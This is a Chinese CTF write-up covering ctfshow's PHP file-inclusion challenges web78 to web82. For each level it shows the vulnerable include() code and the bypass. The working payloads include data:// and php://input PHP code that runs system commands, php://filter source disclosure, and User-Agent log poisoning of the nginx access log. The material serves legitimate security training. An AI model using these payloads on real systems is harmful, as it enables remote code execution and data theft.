CTFSHOW-文件包含篇
web78
1 2 3 4 5 6 7
| <?php if(isset($_GET['file'])){ $file = $_GET['file']; include($file); }else{ highlight_file(__FILE__); }
|
1 2 3 4
| include包含直接用伪协议就行 ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZioiKTsgPz4= 或 ?file=php://filter/convert.base64-encode/resource=flag.php
|
web79
1 2 3 4 5 6 7 8
| <?php if(isset($_GET['file'])){ $file = $_GET['file']; $file = str_replace("php", "???", $file); include($file); }else{ highlight_file(__FILE__); }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| 此题用了str_replace函数: str_replace( array|string $search, array|string $replace, string|array $subject, int &$count = null ): string|array 该函数返回字符串或者数组。该字符串或数组是将 subject 中全部的 search 都被 replace 替换之后的结果。
所以php就会被替换为??? 但是没有大小写限制,可以用php://input,php://input允许你访问原始的POST数据。 payload:?file=Php://input post:1=<?php system('ls');?> (先看看flag在哪, 用bp传 再post:1=<?php system('tac f*');?> 或 ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZioiKTsgPz4=
|
web80
1 2 3 4 5 6 7 8 9
| <?php if(isset($_GET['file'])){ $file = $_GET['file']; $file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); include($file); }else{ highlight_file(__FILE__); }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| 相比web79,多了data的绕过。 还是可以用 payload:?file=Php://input post:1=<?php system('ls');?> (先看看flag在哪 再post:1=<?php system('tac fl0g.php');?> 的方法。 或使用包含日志的方法 先包含日志查看日志内容?file=/var/log/nginx/access.log
172.12.129.208 - - [13/Jul/2024:04:54:34 +0000] "GET / HTTP/1.1" 200 2291 "https://d905ea2a-bfa7-48d2-88df-62dc0944f812.challenge.ctf.show/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Edg/126.0.0.0"
内容有ip,时间,参数和user-agent 我们可以操控user-agent写命令再包含日志执行 <?php system('tac fl0g.php'); ?>
|
web81
1 2 3 4 5 6 7 8 9 10
| <?php if(isset($_GET['file'])){ $file = $_GET['file']; $file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); $file = str_replace(":", "???", $file); include($file); }else{ highlight_file(__FILE__); }
|
web82
1 2 3 4 5 6 7 8 9 10 11
| <?php if(isset($_GET['file'])){ $file = $_GET['file']; $file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); $file = str_replace(":", "???", $file); $file = str_replace(".", "???", $file); include($file); }else{ highlight_file(__FILE__); }
|
1 2 3
| 多了对.的过滤,过滤了点之后我们只能包含无后缀的文件,而在php中无后缀文件就是session文件。 所以本题要用session竞争包含
|
参考文章:利用session.upload_progress进行文件包含和反序列化渗透